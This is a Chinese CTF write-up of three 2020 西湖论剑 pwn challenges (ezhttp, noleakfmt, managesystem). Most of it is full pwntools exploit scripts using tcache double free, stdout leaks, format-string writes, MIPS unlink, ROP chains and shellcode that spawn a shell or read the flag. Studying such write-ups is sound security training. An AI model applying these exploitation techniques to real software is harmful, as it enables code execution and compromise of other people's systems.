2020西湖论剑
ezhttp:
这一题输入的数据有些麻烦,但是仔细分析还是不难的。memcpy不会被'\x00'截断。
利用思路:
- 泄漏chunk addr,这一步非常简单。
- 修改_IO_2_1_stdout_泄漏libc地址。其中flag值的高4位可以随便覆盖,不会影响程序。
- 利用double free修改__free_hook为setcontext。
- 利用setcnotext构造ROP链或写入汇编orw
完整exp如下:
#!/usr/bin/python # coding:utf-8 from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60']) p = process('./ezhttp') libc = ELF('libc-2.27.so') def Add(content): payload1 = 'POST\n/create\n' + 'Cookie: user' + '=' + 'admin' + 'token: ' + '\r\n\r\n' payload1 += 'content=' payload1 += content p.sendlineafter('==\n', payload1) def Delete(index): payload1 = 'POST\n/del\n' + 'Cookie: user' + '=' + 'admin' + 'token: ' payload1 += '\r\n\r\n' payload1 += 'index=' + str(index) p.sendlineafter('==\n', payload1) def Edit(index, content): payload1 = 'POST\n/edit\n' + 'Cookie: user' + '=' + 'admin' + 'token: ' payload1 += '\r\n\r\n' payload1 += 'index=' + str(index) + '&' + 'content=' payload1 += content p.sendlineafter('==\n', payload1) def leak(): payload1 = 'POST\n/del\n' + 'Cookie: user' + '=' + 'admin' + 'token: ' payload1 += '\r\n\r\n' + 'AAA' p.sendlineafter('==\n', payload1) def exploit(): global p p = process('./ezhttp') Add('A'*0x60) #0 p.recvuntil('Your gift: ') chunk_addr = int(p.recv(14), 16) info("chunk_addr ==> " + hex(chunk_addr)) Add('A'*0xa0) #1 # 防止chunk倍top chunk合并 Add('A'*0x20) #2 Add('A'*0x10) #3 # double free Delete(0) Delete(0) # 填满tcache,把chunk放入unsortedbin中 for i in range(7): Delete(1) Delete(1) # 控制tcache,修改main_arena位_IO_2_1_stdout_ Delete(3) Delete(3) Delete(3) Delete(2) Delete(2) # 修改tcache 0x30处chunk地址 Add(p64(chunk_addr - 0x208)) #4 Add('A'*0x18) # 把_IO_2_1_stdout_添加到tcahce[0x30] Add(p64(chunk_addr + 0x70)) # 把_IO_2_1_stdout_放在tcache[0x30]链表头部 Add('A'*0x20) #Add('A'*0x20) # 在tcache[0x20]处构造double free Delete(3) Delete(3) Delete(3) # 把 &tcache[0x30]放入tcache[0x20] Add(p64(chunk_addr - 0x208)) # 修改地址为 &tcahce[0x30]的值为_IO_2_1_stdout_ Add('A'*0x8) #gdb.attach(p, 'b * $rebase(0x1a78)\nc') #Add('\x60\x07\xdd') Add('\x60\xf7') # 把_IO_2_1_stdout_分配出来,并修改数据 Add(p32(0xfbad1887) + 'A'*0x1c + '\xc0') try: # leak libc addr libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - 0x3eba00 libc.address = libc_base info("libc_base ==> " + hex(libc_base)) except: p.close() return 0 setcontext = libc.symbols['setcontext'] free_hook = libc.symbols['__free_hook'] _open = libc.symbols['open'] _read = libc.symbols['read'] _write = libc.symbols['write'] _puts = libc.symbols['puts'] pop_rdi_ret = libc_base + 0x2155f pop_rsi_ret = libc_base + 0x23e8a pop_rdx_ret = libc_base + 0x1b96 #rop_chain = p64(chunk_addr) # read函数的第一个参数不一定是4,可以从3开始多次尝试 rop_chain = p64(pop_rdi_ret) rop_chain += p64(pop_rdi_ret) + p64(chunk_addr + 0x220) + p64(pop_rsi_ret) + p64(0) + p64(_open) # address of flag rop_chain += p64(pop_rdi_ret) + p64(4) + p64(pop_rsi_ret) + p64(chunk_addr + 0x300) + p64(pop_rdx_ret) + p64(0x50) + p64(_read) rop_chain += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(chunk_addr + 0x300) + p64(pop_rdx_ret) + p64(0x50) + p64(_write) rop_chain += p64(chunk_addr + 0x170) + p64(pop_rdi_ret) rop_chain += 'flag\x00\x00\x00\x00' # 修补unsortbin Edit(7, p64(libc_base + 0x3ebca0) + p64(libc_base + 0x3ebca0)) # malloc 一个chunk把rop_chain写入 Add('A'*0xe0) info("chunk_addr ==> " + hex(chunk_addr)) Edit(12, rop_chain) # double free Delete(3) Delete(3) Delete(3) Add(p64(free_hook)) Add(p64(free_hook)) Add(p64(setcontext + 0x35)) Delete(12) p.interactive() p.close() return 1 if __name__ == '__main__': while True: a = exploit() if a: break
exp2.py如下:
#!/usr/bin/python # coding:utf-8 from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60']) p = process('./ezhttp') libc = ELF('libc-2.27.so') def Add(content): payload1 = 'POST\n/create\n' + 'Cookie: user' + '=' + 'admin' + 'token: ' + '\r\n\r\n' payload1 += 'content=' payload1 += content p.sendlineafter('==\n', payload1) def Delete(index): payload1 = 'POST\n/del\n' + 'Cookie: user' + '=' + 'admin' + 'token: ' payload1 += '\r\n\r\n' payload1 += 'index=' + str(index) p.sendlineafter('==\n', payload1) def Edit(index, content): payload1 = 'POST\n/edit\n' + 'Cookie: user' + '=' + 'admin' + 'token: ' payload1 += '\r\n\r\n' payload1 += 'index=' + str(index) + '&' + 'content=' payload1 += content p.sendlineafter('==\n', payload1) def leak(): payload1 = 'POST\n/del\n' + 'Cookie: user' + '=' + 'admin' + 'token: ' payload1 += '\r\n\r\n' + 'AAA' p.sendlineafter('==\n', payload1) def exploit(): global p p = process('./ezhttp') Add('A'*0x60) #0 p.recvuntil('Your gift: ') chunk_addr = int(p.recv(14), 16) info("chunk_addr ==> " + hex(chunk_addr)) Add('A'*0xa0) #1 # 防止chunk倍top chunk合并 Add('A'*0x20) #2 Add('A'*0x10) #3 # double free Delete(0) Delete(0) # 填满tcache,把chunk放入unsortedbin中 for i in range(7): Delete(1) Delete(1) # 控制tcache,修改main_arena位_IO_2_1_stdout_ Delete(3) Delete(3) Delete(3) Delete(2) Delete(2) # 修改tcache 0x30处chunk地址 Add(p64(chunk_addr - 0x208)) #4 Add('A'*0x18) # 把_IO_2_1_stdout_添加到tcahce[0x30] Add(p64(chunk_addr + 0x70)) # 把_IO_2_1_stdout_放在tcache[0x30]链表头部 Add('A'*0x20) # 在tcache[0x20]处构造double free Delete(3) Delete(3) Delete(3) # 把 &tcache[0x30]放入tcache[0x20] Add(p64(chunk_addr - 0x208)) # 修改地址为 &tcahce[0x30]的值为_IO_2_1_stdout_ Add('A'*0x8) Add('\x60\xf7') # 把_IO_2_1_stdout_分配出来,并修改数据 Add(p32(0xfbad1887) + 'A'*0x1c + '\xc0') try: # leak libc addr libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - 0x3eba00 libc.address = libc_base info("libc_base ==> " + hex(libc_base)) except: p.close() return 0 setcontext = libc.symbols['setcontext'] free_hook = libc.symbols['__free_hook'] mprotect = libc.symbols['mprotect'] #orw = p64(chunk_addr + 0x268) orw = shellcraft.open("flag", 0) orw += shellcraft.read('rax', chunk_addr + 0x300, 0x50) orw += shellcraft.write(1, chunk_addr + 0x300, 0x50) # 构造满足mprotect和orw的数据 payload = '\x00'*0x68 + p64(chunk_addr - 0x260) # rsi payload = payload.ljust(0x70, '\x00') payload += p64(0x1000) # rsi payload = payload.ljust(0x88, '\x00') payload += p64(0x7) # rdx payload = payload.ljust(0xa0, '\x00') payload += p64(chunk_addr + 0x70) # rsp payload += p64(mprotect) # 修补unsortbin Edit(7, p64(libc_base + 0x3ebca0) + p64(libc_base + 0x3ebca0)) # malloc 一个chunk把rop_chain写入 Add('A'*0xe0) info("chunk_addr ==> " + hex(chunk_addr)) Edit(12, payload) # malloc chunk写入orw Add('A'*0xa0) Edit(13, p64(chunk_addr + 0x78) + asm(orw)) # double free 控制__free_hook Delete(3) Delete(3) Delete(3) Add(p64(free_hook)) Add(p64(free_hook)) Add(p64(setcontext + 0x35)) Delete(12) p.interactive() p.close() return 1 if __name__ == '__main__': while True: a = exploit() if a: break
noleakfmt
这题题目给了一个泄漏栈地址的函数,之后就把输出关了。拿到flag一般常规操作就是orw或者getshell。格式化字符串不好布置orw所需的调用链,所以我们考虑getshell。
知识点:
- 修改_IO_2_1_stdout_的fileno的值为0x2可以从标准错误输出回显打印出的字符
- printf打印的的字符过多时会调用malloc开辟缓冲区
利用思路:
- 调用printf函数时会把_IO_2_1_stdout_的地址入栈。通过修改printf的函数返回地址为start可以使栈向低地址生长,这样就可以利用栈中的_IO_2_1_stdout_的地址
- 修改_IO_2_1_stdout_的fileno的值为0x2
- 此时打印的字符可回显,泄漏libc地址
- 修改栈中的数据为__malloc_hook的地址
- 向__malloc_hook中写入one_gadget
- 利用printf打印大量字符调用malloc
- cat flag 1>&2
完整exp如下。脚本可能需要跑很多次:
#!/usr/bin/python3 #-*- coding:utf8 -*- from pwn import * context.terminal = ['tmux', 'splitw', '-h', '-p', '60'] context.log_level = 'debug' libc = ELF('libc.so.6') def pwn(param1, param2, param3, p): payload = '%{}c%{}${}'.format(param1, param2, param3) p.sendline(payload) def leak(p): p.recvuntil('gift : ') stack_addr = p.recv(14) addr = int(stack_addr, 16) info("addr ==> " + hex(addr)) return addr def exploit(): p = process('./noleakfmt') start = 0x7b0 #start = 0x8e0 # leak stack addr addr = leak(p) offset = (addr - 12) & 0xffff info("offset ==> " + hex(offset)) # 限制在这个范围才能正常使用%n if offset > 0x2000 or offset < 0x66c: p.close() return 0 ################################################################# #gdb.attach(p) pwn(offset, 11, 'hn', p) # 修改printf的返回值为start,使栈向低地址方向生长 #gdb.attach(p) pwn(start, 37, 'hn', p) # 修改_IO_2_1_stdout_中的fileno=0x2 offset = (addr - 0x54) & 0xffff info("offset ==> " + hex(offset)) # 修改栈数据 # 这里因为地址问题可能导致程序崩溃 pwn(offset, 10, 'hn', p) # 修改栈中的_IO_2_1_stdout_指针指向fileno pwn(0x90, 36, 'hhn', p) # 修改fileno的值为0x2 pwn(2, 26, 'hhn', p) ################################################################# # leak libc address #gdb.attach(p) pwn(1, 9, 'p', p) p.recvuntil('\x01\x01') libc_base = int(p.recv(14), 16) - 0x20840 libc.address = libc_base info("libc_base ==> " + hex(libc_base)) one_gadget = [0x45226 + libc_base, 0x4527a + libc_base, 0xf0364 + libc_base, 0xf1207 + libc_base] malloc_hook = libc.symbols['__malloc_hook'] # 把__malloc_hook添加到栈上 pwn((malloc_hook & 0xffff), 36, 'hn', p) # 向__malloc_hook中写入one_gadget pwn((one_gadget[3] & 0xffff), 26, 'hn', p) pwn(((malloc_hook + 2) & 0xffff), 36, 'hn', p) pwn(((one_gadget[3] >> 16) & 0xffff), 26, 'hn', p) pwn(((malloc_hook + 4) & 0xffff), 36, 'hn', p) #gdb.attach(p) pwn(((one_gadget[3] >> 32) & 0xffff), 26, 'hn', p) p.sendline("%99999c%10$n") p.sendline("cat flag 1>&2") p.interactive() p.close() return 1 if __name__ == '__main__': while True: a = exploit() if a: break
managesystem
这是一道mips的pwn题。这是我第一次做mips的题目,花了好长时间才勉强能看懂mips指令。
查看程序保护,发现都没开。
Arch: mips-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
在Edit函数中存在8个字节的溢出。
第一次做mips的题目,对heap的管理机制并不了解。随便试了几次发现和glibc的管理机制差不多。
利用思路
- 通过unlink控制0x411830,这个地址的内存中存放的是分配出的chunk的地址
- 修改其中一个chunk的地址为free在got表中的值
- 泄漏libc地址
- 修改0x4117b4中的值为system函数的地址
- 随便向一个chunk中写入/bin/sh\x00',free这个chunk
exp如下:
from pwn import * context(os = 'linux', arch = 'mips', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60']) libc = ELF('./lib/libc.so.0') DEBUG = 0 if DEBUG: p = process(['./qemu-mipsel-static', '-g', '1234', '-L', './', './managesystem']) else: p = process(['./qemu-mipsel-static', '-L', './', './managesystem']) def Add(length, content): p.sendlineafter('options >> ', '1') p.sendlineafter('length: ', str(length)) p.sendafter('info: ', content) def Delete(index): p.sendlineafter('options >> ', '2') p.sendlineafter('index of user: ', str(index)) def Edit(index, content): p.sendlineafter('options >> ', '3') p.sendlineafter('index of user you want edit: ', str(index)) p.sendafter('info: ', content) def Show(index): p.sendlineafter('options >> ', '4') p.sendlineafter('index of user you want show: ', str(index)) chunk_array = 0x411830 Add(0x50, 'A'*0x50) Add(0x50, 'A'*0x50) Add(0x50, 'A'*0x50) Add(0x50, 'A'*0x50) payload = p32(0) + p32(0x51) payload += p32(chunk_array - 0xc) + p32(chunk_array - 0x8) payload += 'A'*0x40 payload += p32(0x50) + p32(0x58) Edit(0, payload) Delete(1) payload = '\x00'*8 + p32(0x411830) + p32(0x50) + p32(0x4117b4) + p32(0x50) Edit(0, payload) Show(1) p.recvuntil('info: ') libc_base = u32(p.recv(4)) - 0x56b68 libc.address = libc_base info('libc_base ==> ' + hex(libc_base)) system = libc.symbols['system'] Edit(1, p32(system)) Edit(2, '/bin/sh\x00') Delete(2) p.interactive()